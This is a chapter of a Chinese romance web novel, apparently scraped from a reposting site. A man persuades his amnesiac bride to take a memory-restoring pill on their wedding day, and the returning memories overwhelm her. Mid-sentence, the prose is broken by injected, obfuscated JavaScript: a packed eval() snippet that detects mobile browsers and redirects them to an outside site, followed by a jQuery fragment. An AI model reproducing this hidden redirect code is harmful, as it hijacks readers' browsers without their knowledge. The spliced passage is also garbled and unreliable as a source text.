215. 忘寒终解,别原谅他

作品:《这个剑她今天必须得贩

    他将白瓷瓶搁在她左手心,合上她的五指。


    “这是师砚送你的新婚礼物。”


    她接过,疑惑不解:“阿惊和阿焉哥哥成婚,为何还有新婚礼物?”


    他挤出个轻巧的笑:“送你东西,还不喜欢?”


    “这是什么啊?”她握着白瓷瓶,打开瞧了瞧,“药丸子?”


    “是,如今近冬,快要下雪了。这是驱寒的药。以后……”他的声线有些发抖,如至寒冬,“阿惊再也不会冷了。”


    她望着他,目中闪烁疑惑:“阿焉哥哥有话可以直说。”


    火红的喜被铺得松软,他牵着她的手,在榻沿边坐下:


    “你不是一直想找回自己的记忆吗,现在,答案就在你手里。”


    “那为什么阿焉哥哥看起来并不开心?”


    她脸上的期待与喜色俱黯去,呆呆望着安静躺在手心里的瓷瓶:“因为,这并不是什么好东西,对吗?”


    “否则,阿焉哥哥又怎会等到现在才给我。”


    他无法解答,只是望着她。倘若这世上所有,皆可以简单粗暴地用好坏来评判,都像生和死那样泾渭分明,又怎会有抉择二字。


    “阿焉哥哥,在说谎。”


    “阿焉哥哥,要赶我走。”


    她不过是试探,却没有从他的眼神中得到否定的回答。


    恐惧,失望,不解,随着他的沉默,一分一秒自她心底生起,慢慢充填她的心脏,挤到鼓胀,濒临爆炸。


    鼻子有些发酸,眼泪打转。


    可小铃铛叮嘱过,掉眼泪会弄花她的妆容,她要做阿焉哥哥最美丽的新娘子,怎么可以哭呢?


    她拼命仰头睁大眼睛,将眼泪灌回去,眸中便似罩上一层光亮琉璃。


    “为什么呢,还有一个时辰就要拜堂了,阿惊今天是你的新娘子啊!”


    “把药吃了吧,吃了,冬天就不冷了。你就是一个心智健全的正常姑娘了。”他低低地回,垂着眼眸不敢看她心碎的模样。


    “我不!阿惊宁可冻死,宁可为人嘲笑。”


    “吃药,听话。吃了你就记得从前,记得自己了。”


    “我不!阿惊只要记得你!”


    “吃药,吃药好不好,不吃药你会死的!”


    “我宁可死!”


    他颤抖着深吸一大口冷气入肺,不理会她的拒绝,自怀里取出那枚银竹簪,捏在指尖:“这是你护身的兵刃,别忘了戴。”


    他将竹簪往她左手里塞,她双手拼命地往外推。


    她竭力摇头,还一边忍着不教眼泪溢出眼眶:“阿焉哥哥,我不要,不要,你不要赶我走。”


    他握紧她五指以握紧竹簪,她不能动的右手便笨拙而固执地去掰。


    “听话!”


    他放手一推。


    她怔愣着扑在软和的喜被上,握着银簪,转头望他。


    冠上银色的流苏细细碎碎地清响。


    他不舍,亦更无法看她这样无助绝望的神情,只是垂着头,哀痛的视线垂在银竹簪上:


    “阿焉哥哥也不想赶你走,只是,你必须醒过来。阿惊不能永远做一个六七岁的小姑娘。你的身上有好多好多担子,等着你。”


    “我害怕,我害怕,我不要!”她扑过来抱他,一次又一次,他便一次又一次推开,强逼着视线模糊的人直视着他。


    他双手紧紧捧着她的脸,是疼惜也是克制,强忍着不让眼泪掉下来:


    “现在的你心智不全,说的话不作数,等你醒来,就都会明白。”


    “我不要醒,不要明白,我不傻,我醒来就会跟你分开了,我不要分开!”她推开他的手,去寻帕子,仰面沾掉眼眶里濒临决堤的泪水。


    “你不能永远做个无知的孩子啊。那些真相,你已经抓到手了,把他们记起来吧,记起来,做你该做的事。阿焉哥哥不会离开你,只是……换一种方式保护你,陪着你,好不好。”


    “你骗人!我知道自己和别人不一样,我有拳头,我不怕被人嘲笑!可我还是很努力去学,去做一个正常人,不给你添麻烦,不让你被人笑话。可是阿焉哥哥为什么还是要抛弃我!”


    他狠狠心,站起身叱她:


    “对,我就是不喜欢这样的你。从前的阿惊是个很了不起的姑娘,天不怕地不怕。爱情对她来说算个屁,她的嘴里根本不会说出抛弃这两个字,从来都不会缩在我的背后要我保护她!”


    “你不是要做正常人吗,不是要配得上我吗,不是要把别人的笑话打回去吗!机会摆在你面前了,为什么不敢!难道你要做一辈子缩头乌龟吗!”


    她崩溃大哭,仰着脑袋,不停用那方红绢帕沾吸眼眶里的泪水,生怕花了妆容。


    她无法理解。


    他心痛甚于切肤,将她紧紧抱在怀里,任由她因怀抱哭得更加大声:“醒过来吧,醒过来吧,阿焉哥哥求你了,把药吃了。否则你会死的,真的会死的。”


    他的怀抱很紧,她无法摇头。


    他仰头,任由眼泪滑落脖颈,沾湿衣领。抱着她,靠坐在榻边,手轻轻拍着。


    “阿惊,阿焉哥哥给你说个故事好不好,听完故事,阿惊就会乖乖吃药了。”


    她没有应答,只是抽噎着,身躯一耸一耸,像个孩子一般哭泣。


    明明,距离嫁给他,只差一步了。


    一步之遥。


    是他亲口说的,嫁给他吧,嫁给李焉识——这个从睁开眼的那一刻,就烙在心里的名字。


    她空荡荡脑海里,唯一的字节。


    李焉识。


    李焉识。


    他是谁啊?


    我好像……很想他。


    好像……很喜欢他。


    他仰着头,呆呆凝望着正红旖旎的帷幔,抱着怀里的人,手一下,一下,轻轻拍着:


    “在很久很久以前,有一条邪恶的蛟龙,他揽尽天下财宝,危害百姓,一时人心惶惶。”


    “他蹲在自己的洞穴里,蹲在自己的宝藏上,等到了一位手执利剑的公主,要来砍下他的龙头。”


    “可是蛟龙狂妄,看上了这位公主,使尽诡计囚禁了她,无视种族的隔阂,要她做自己的新娘。”


    “这位公主意志坚韧又智慧伶俐,绝不屈服。在成为蛟龙新娘的那天寻机重伤蛟龙,又斩下他的头颅,荣誉回城。力挽狂澜,扫除篡位的逆贼,救下自己的姐妹父兄和臣民。”


    她闪动泪花的双眸仰对着他,垂面满目泪水。


    “公主,这个故事里没有营救你的勇士。你自己就是勇士。”


    “我愿意,做你的蛟龙。”


    他看她垂下的睫毛犹豫了:


    “他们在等你啊,在等你。”


    她仰起血丝红红的眼睛,垂死挣扎:“为什么一定要杀掉蛟龙,不能和平共处吗!”


    他摇了摇头,眼含泪水轻轻笑了。


    “这是我的夙命。”


    “蛟龙的头颅,是你的入场券。”


    最后一丝防线崩断。


    她终于颤抖着点点头:“后来公主成了女皇,是吗?”


    “对。”


    “那蛟龙呢?”


    他轻嗯了一声,思索着缓缓道:“蛟龙啊……有三只脑袋。剩下来的两只会在她安睡的时候,偷偷飞去她的窗前,看看自己熟睡的新娘。看看……就够了。”


    他又笑着补充道:“如果公主够狠心,也可以把蛟龙的三只脑袋一齐砍下,带回她的国度,挂在她的床头当摆件。又如何不算一种陪伴?”


    她破涕为笑,噘嘴哼了一声:“半夜都要吓醒了。”


    “好,吃药吧。”他含着笑提醒她。


    她不愿,可还是迟疑地拔下软布塞,将棕色的药丸倒在手心。


    她以两指捻着药丸,将目光自药丸移向李焉识,坚定道:“阿焉哥哥,爱,是可以跨越种族的。”


    他微微弯起眉眼,在心里答了她:“但无法跨越仇恨。”


    她注视着那枚不算小的药丸,吸了一口气,张大口吞下,生怕沾污了唇脂。


    丹药入腹,又腥又苦。


    他心里悬坠的巨石终于落下,却像坠入无底深潭。


    她笑着看他:“阿焉哥哥这样难过,是不是怕阿惊记起从前的事,会不喜欢你了?”


    他微微颔首。


    “是。一个谎言接一个谎言,阿焉哥哥滚的雪球,太大了。”


    她眼里的泪光诧异地颤了颤,还是笃定说:“阿焉哥哥,那我一定会原谅你的,因为我爱……”


    她忽然止了话头,捧着泥人的双手去捂小腹,眉头皱紧。


    他望着生出异状的她,眸中泪水战栗,唇微微颤动,鼓动了几回,终究还是借着呼气,颤抖着将话泄出口:


    “别原谅他。”


    化开的丹药如天坠万千流火,在她丹田气海内荡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491929|146658||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起重重惊涛。


    两相冲击,自腹内炸开。来回拮抗,慢慢消化着彼此间的火性与寒毒。


    她痛得自床沿滚落,身子蜷曲着,捂住小腹,手上还握着那只泥人。


    “疼,肚子……好疼。”她痛苦地呻吟,撕心裂肺。


    他扑去地上将她紧抱在怀里。


    气海掀起滔天巨浪,流火如雨下。


    她已然暗暗忍了许久,此刻满头大汗,脖颈烫得吓人,手却凉似死物。身子忽冷忽热,在他怀里拼命攥紧了他的手,咬紧牙,忍着不叫自己乱动,怕蹭乱了簪钗发髻。


    “阿焉哥哥。头,头也好疼。”


    她痛苦地腾出一只手来捂着脑袋。


    那些蛰伏的记忆,在封存的冰块里先是试探般一锤,又一锤,见坚冰隐隐有了裂缝,便更加兴奋地一斧子,又一凿子,反反复复,横冲直撞,不知疲倦。万千记忆,仿若有了生命,仿佛要破开寒冰,自内呼啸而出。


    他什么也做不了,只能看着她痛苦,陪着她痛苦。此刻,也分不出谁更痛苦。


    她的头痛得无法再拼凑出任何只言片语,她捏紧泥人,冷汗直流,耳边只剩蜂鸣。可脑子里却像洪水爆发,世界重新清洗一般,不断反复跑着往昔。


    她看见好多过往不曾看见的风景。


    万千烟火下,屋檐上,他被风吹拂起的发丝。那棵盛极欲凋,纷纷落雪的梅树下,掌心里的糖。还有灰霭天空下破损的城墙,脸上戴着面具,伫立的人……太多画面一闪而过,她看不清,看不分明。


    “阿惊还,还漂亮吗?”疼痛的间隙里,她艰难地问。


    他望着虚弱憔悴,大汗淋漓的她。


    “漂亮,阿惊是最漂亮的新娘子。”


    他知道她听不懂太复杂的赞美,便流着泪哄着:“阿惊的眼睛,比天上的星星还要亮,嘴唇,像火一样红,连额角这道浅白的疤痕也像梅蕊。”


    她蜷缩得更厉害了,身躯绷紧,呼吸一抽一抽的,连手指也攥白了。


    喧嚣喷薄而来!无数道声音横冲直撞,一齐涌入她的脑海。


    “我要的从来就是你!”


    “我,不认输!”


    “人生苦短,我不想错过。”


    “你食言了。”


    “自今日起,我便不做将军了。”


    “那些东西很沉吧。李小狗。”


    “对不起,答应你的三月之期,我做不到了。”


    “我不要结束!”


    “李焉识,若有来生……”


    “若有来生……”


    “若有来生……”


    “若有来生,我再也不要遇见你!”


    她死死捂住耳朵,可那些鬼魅的声音强行钻入她的耳膜,钻入她身上每一寸孔隙,渗透进她的皮肤,然后嘶吼着爆炸。


    这些个无孔不入的声音如一根根钢刺,扎入她的天灵,大脑仿佛脱离她而去,直冲云霄。


    “我有一个梦中人。”


    “那来祸害李焉识……好吗?”


    “李焉识是卑劣之人,是他配不上你!”


    “那就再说一万遍我爱你。说到……我再发不出声,说到……你再听不见。”


    “李焉识,我要定你了!”


    “爱就爱个痛快,被扎了刀子,也痛快。”


    “我这辈子,也只活三个字……梁惊雪。”


    “李——焉——识——我现在就嫁给你了!”


    蜂鸣过后,脑子里再度归于死寂,识海平息。


    她勉强平稳呼吸,笑着把没说完的话,一点一点拼命挤出口。


    “我一定会原谅,一定,一定会,原谅……”


    “因为,因为……”


    声音越来越虚弱。


    “因为,我爱,我爱你……”


    “阿惊……爱你。”


    她躺在他怀里,抱着泥人,强笑着,看了他最后一眼,合上了那双幼稚的眼眸。


    他就这样抱着她,痛苦地呜咽着,垂着头颅连着身子一颤一颤,指尖连着手臂发麻:


    “阿惊,我的阿惊……”


    那个笑着朝他跑来,黏着他唤他阿焉哥哥的小姑娘,再也不会回来了。


    将那枚银簪放在她手心里,合拢五指:“恨他,恨他你就不会恨自己了。”


    他的面颊贴着她冰冷的珠冠,目光怔怔。


    “别原谅他……别原谅他……”